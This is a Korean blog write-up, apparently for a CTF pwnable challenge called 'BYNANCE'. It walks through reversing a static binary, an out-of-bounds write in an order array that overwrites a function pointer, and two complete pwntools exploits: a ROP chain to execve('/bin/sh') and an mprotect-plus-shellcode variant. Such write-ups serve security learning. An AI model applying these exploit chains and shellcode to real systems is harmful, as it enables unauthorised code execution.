PWNABLE [100] - BYNANCE
- 라이브러리 로드도 안되고, p system 해도 함수가 안찾아지며, got/plt도 딱히 없었다
- ida로 열었을 때 function window에 함수가 수상할정도로 많다
- file ./byenance 해보면 확실히 알 수 있다
=> statically compiled binary
보호 기법은 : Partial RELRO / No Canary / No PIE / NX bit
IDA 디컴파일 결과
__int64 __fastcall buy_eth(__int64 a1, __int64 a2)
{
// 생략
puts("how many eth do you want to buy?", a2, v8);
fgets(v7, 1024LL, stdin);
num = atoi(v7);
v6 = num * current_ETH_price;
if ( v6 <= balance * (unsigned __int64)(unsigned __int8)leverage )
{
balance -= v6 / (unsigned __int8)leverage;
*((_DWORD *)&order_list + 10 * order_cnt + 6) = 'HTE';
*((_DWORD *)&order_list + 10 * order_cnt + 8) = 'YUB';
*((_QWORD *)&order_list + 5 * order_cnt) = current_ETH_price;
*((_QWORD *)&unk_4C62C8 + 5 * order_cnt) = num;
v3 = (unsigned __int8)leverage;
v4 = 40 * order_cnt;
*(_QWORD *)((char *)&unk_4C62D0 + v4) = current_ETH_price
- current_ETH_price / (unsigned __int64)(unsigned __int8)leverage;
--current_ETH_price;
++order_cnt;
puts("Your order request is acquired successfully", v3, v4);
return 0LL;
}
else
{
puts("Your asset is not enough to get buy position", 1024LL, balance);
return 0xFFFFFFFFLL;
}
}
__int64 __fastcall sell_eth(__int64 a1, __int64 a2)
{
// 생략
puts("how many eth do you want to sell?", a2, v8);
fgets(v7, 1024LL, stdin);
num = atoi(v7);
v6 = num * current_ETH_price;
if ( v6 <= balance * (unsigned __int64)(unsigned __int8)leverage )
{
balance -= v6 / (unsigned __int8)leverage;
*((_DWORD *)&order_list + 10 * order_cnt + 6) = 'HTE';
strcpy((char *)&order_list + 40 * order_cnt + 32, "SELL");
*((_QWORD *)&order_list + 5 * order_cnt) = current_ETH_price;
*((_QWORD *)&unk_4C62C8 + 5 * order_cnt) = num;
v3 = (unsigned __int8)leverage;
v4 = 40 * order_cnt;
*(_QWORD *)((char *)&unk_4C62D0 + v4) = current_ETH_price
+ current_ETH_price / (unsigned __int64)(unsigned __int8)leverage;
++current_ETH_price;
++order_cnt;
puts("Your order request is acquired successfully", v3, v4);
return 0LL;
}
else
{
puts("Your asset is not enough to get sell position", 1024LL, balance);
return 0xFFFFFFFFLL;
}
}
- buy_eth , sell_eth 호출하여 유효한 수량을 입력하면 order_list에 주문내역이 추가되는 방식이다
- 주의할 점: if문을 통과하지 못하면 배열 인자 추가 불가능!!
전역변수 보면
4C62A0 : order_cnt
4C62C0 : order_list (크기 0x280)
4C6540 : me (이름 문자열)
4C6560 : balance
4C6568 : leverage
4C6570 : show 함수
=> 전역변수 전부 연속해서 있고, show에 함수 주로를 담아서 호출하는데에서 감이 왔다
=> order_list OOB를 통해 show를 덮어씌우고 show() 호출에서 rip 흐름을 조작할 수 있다!
배열 원소 구조는 (pwndbg로 동적분석해보니)
order_list+0 : current_ETH_PRICE
order_list+0x8 : amount 개수
order_list+0x10 : liquidation price
order_list+0x18 : symbol 'ETH'
order_list+0x20 : position 'BUY' 혹은 'SELL'
(크기 0x28)
me 시작위치 - order_list 시작위치 = 0x280 => MAX_ORDER_CNT = 0x16
show 함수 주소는 17번째 주문의 '수량' 해당한다
Step1. ROPgadget --binary ./byenance | grep ~~ 으로 가젯을 찾는다
* syscall 가젯도 찾아주네 (statically compiled library function 내부의 syscall 중 하나)
Step2. "/bin/sh" 문자열이 존재하지 않아 직접 bss 영역에 써야 한다
1) 주소 바뀌지 않는 BSS 영역의 빈 영역 확인
- vmmap으로 확인한 writable area는 0x4c4000 ~ 0x4c7000 인데 끝부분에 NULL Padding 있을 것으로 예상함.
- 0x4c6fb0 혹은 0x4c6fd0 사용하면 되겠다 (0x10바이트정도 아예 안씀)
2) ROP로 fgets 함수 호출하기 위해 필요한 주소들 확인
- 디스어셈블 결과에 따르면 rdx에는 QWORD PTR[0x4c46f8] = 4c4520 을 넣어야 하며
- fgets 주소는 0x412f90
* fgets는 개행문자/EOF 만나거나 num-1개의 문자를 입력할 때까지 입력받는다 + null문자 자동으로 추가됨
Step3. syscall ROP를 한다
system 함수도 안찾아지거나, libc leak도 소용없거나, statically compiled / stripped 파일일 때 유용함
mprotect ROP 도 유용하다 (mprotect로 bss 영역 rwx 변경 후 쉘코드 삽입, rip 조작)
sys_execve (64bit)
RAX = 0x3B
RDI = const char *filename
RSI = const char *const argv[]
RDX = const char *const envp[]
cf) exploit 시 주의할 점
balance 전역변수를 order_list[16] 원소의 position property가 덮게 되는데, 이 때 order_list[16].position = 'BUY' (0x425945)이면 18번째 order에서 if문 통과 불가능!!!
order_list[16].position = 'SELL' (0x53454C4C)로 하고 leverage 값 크게 해야 18번째 order 가능!!
from pwn import *
p = process("./byenance")
e = ELF("./byenance")
# gadget
poprdi = 0x0000000000402214
poprsi = 0x000000000040a76e
poprdxrbx = 0x0000000000485e9b
poprax = 0x0000000000452907
syscall = 0x0000000000402954
pppr = 0x0000000000485e9a # 4742810
# address
stdin = 0x4c4520
fgets_addr = 0x412f90
writable_area = 0x4c6fb0
# order_list OOB
for i in range(17):
p.sendlineafter("orders\n", "2")
p.sendlineafter("sell?\n", "1")
p.sendlineafter("orders\n", "3")
p.sendlineafter("leverage\n", "100")
p.sendlineafter("orders\n", "2 ")
p.sendlineafter("sell?\n", str(pppr))
rop_payload = b''
# fgets(bss area, 0x8, enter)
rop_payload += p64(poprdi) + p64(writable_area) + p64(poprsi) + p64(0x8) + p64(poprdxrbx) + p64(stdin) + p64(0) + p64(fgets_addr)
# execve("/bin/sh", null, null) using syscall
rop_payload += p64(poprdi) + p64(writable_area) + p64(poprsi) + p64(0x0) + p64(poprdxrbx) + p64(0) + p64(0) + p64(poprax) + p64(0x3B) + p64(syscall)
p.sendlineafter("orders\n", rop_payload)
p.send("/bin/sh")
p.interactive()
* fgets()에서 rsp+0x10 위치에 rop payload를 넣고
* show() 호출 시 RET 주소 스택에 push 후 'pppr' 가젯으로 코드 흐름 진행되면서 payload 실행
헷갈린 개념: NX bit 적용되어있는데 스택 영역에 ROP payload 넣으면 실행 안되지 않을까???
- ROP payload 실행 시 rsp와 rip는 별개. show() 함수 실행되면서 rsp는 스택에 삽입된 rop_payload에서 이동하고, rip는 코드영역에서 이동한다 (rop_payload에 담긴 주소 상에서 이동하겠지)
- 스택에 어셈블리 코드를 삽입한 게 x, 단순히 가젯들 + 함수들 주소로 rop chain을 구성해놓은 것!!
- 스택에 쉘코드를 삽입하여, 해당 주소로 rip를 이동하여 실행시켜야 할 때 NX bit 문제가 된다 => mprotect ROP 이용!!!
개념 바로잡아주신... thks to Gaurdian 정재영 회장님...
PWNABLE [100] - BYNANCE _ mprotect 풀이!
int mprotect(const void *addr, size_t len, int prot);
- 접근을 제어할 주소(0x1000 크기의 페이지 경계에 맞게 정렬되어야 함. 0x1000의 배수)
- prot은 PROT_READ(1), PROT_WRITE(2), PROT_EXEC(4)의 xor 값
고정 주소에 shellcode를 작성 후 그 영역에 실행권한을 주고 rip 흐름 조작하여 exploit
주로 .bss 영역을 사용한다 (pwntools에서 e.bss() 하거나 objdump -h 이용)
from pwn import *
p = process("./byenance")
e = ELF("./byenance")
# gadgets
pppr = 0x0000000000485e9a
poprdi = 0x0000000000402214
poprsi = 0x000000000040a76e
poprdxrbx = 0x0000000000485e9b
# shellcode
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
# address
bss = e.bss() # 0x4c6240
bss_start = 0x4c6000
read = 0x451e80
mprotect = 0x452bf0
# order_list OOB
for i in range(17):
p.sendlineafter("orders\n", "2")
p.sendlineafter("sell?\n", "1")
p.sendlineafter("orders\n", "3")
p.sendlineafter("leverage\n", "100")
p.sendlineafter("orders\n", "2")
p.sendlineafter("sell?\n", str(pppr))
rop_payload = b''
# read(0, bss, 0x20)
rop_payload += p64(poprdi) + p64(0) + p64(poprsi) + p64(bss) + p64(poprdxrbx) + p64(0x20) + p64(0) + p64(read)
# mprotect(bss_start, 0x1000, 7)
rop_payload += p64(poprdi) + p64(bss_start) + p64(poprsi) + p64(0x1000) + p64(poprdxrbx) + p64(7) + p64(0) + p64(mprotect)
# RET2shellcode
rop_payload += p64(bss)
p.sendlineafter("orders\n", rop_payload)
p.send(shellcode)
p.interactive()
뽀인트
- bss/bss_start 조합 대신 0x4c8000 같은 임의의 고정 주소 사용해도 됨
- 해당영역에 write 권한만 있다면 shellcode read 후 mprotect 해도 됨.
'security > CTF' 카테고리의 다른 글
[HSpace CTF] HSpace Notepad (0) | 2023.09.02 |
---|---|
2022 CCE 예선 - 청소년 (0) | 2023.06.08 |